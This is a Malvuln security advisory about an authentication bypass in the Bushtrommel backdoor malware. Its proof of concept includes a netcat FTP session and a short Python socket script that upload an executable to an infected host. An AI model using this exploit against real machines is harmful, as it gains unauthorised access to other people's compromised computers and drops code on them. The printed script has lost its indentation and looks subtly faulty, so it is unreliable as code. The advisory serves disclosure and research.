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Backdoor.Win32.Bushtrommel.122 MVID-2022-0629 Authentication Bypass

Backdoor.Win32.Bushtrommel.122 MVID-2022-0629 Authentication Bypass
Posted Aug 5, 2022
Authored by malvuln | Site malvuln.com

Backdoor.Win32.Bushtrommel.122 malware suffers from an authentication bypass vulnerability.

tags | exploit, bypass
systems | windows
SHA-256 | d7fc922486275581f2cf458522575af4443622981bf09a3aaadddd603ff38990

Backdoor.Win32.Bushtrommel.122 MVID-2022-0629 Authentication Bypass

Change Mirror Download
Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022
Original source: https://malvuln.com/advisory/76c09bc82984c7f7ef55eb13018e0d87.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Bushtrommel.122
Vulnerability: Authentication Bypass
Description: The malware listens on TCP port 31745 runs an ftp server on port 1030. Attackers who can reach infected systems can logon using any username/password combination. Intruders may then upload executables using ftp PASV, STOR commands.
Family: Bushtrommel
Type: PE32
MD5: 76c09bc82984c7f7ef55eb13018e0d87
Vuln ID: MVID-2022-0629
Disclosure: 08/04/2022

Exploit/PoC:
C:\>nc64.exe 192.168.18.125 1030
220 ICS FTP Server ready.
USER malvuln
331 Password required for malvuln.
PASS malvuln
230 User malvuln logged in.
SYST
215 UNIX Type: L8 Internet Component Suite
PASV
227 Entering Passive Mode (192,168,18,125,236,165).
STOR DOOM.exe
150 Opening data connection for DOOM.exe.
426 Connection closed; Datei C:\TEMP\DOOM.exe kann nicht erstellt werden.
CDUP \
250 CWD command successful. "C:/" is current directory.
PASV
227 Entering Passive Mode (192,168,18,125,236,172).
STOR DOOM.exe
150 Opening data connection for DOOM.exe.
226 File received ok


from socket import *

MALWARE_HOST="192.168.18.125"
PORT=60588
DOOM="DOOM.exe"

def doit():
s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))

f = open(DOOM, "rb")
EXE = f.read()
s.send(EXE)

while EXE:
s.send(EXE)
EXE=f.read()

s.close()

print("By Malvuln");

if __name__=="__main__":
doit()


Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).
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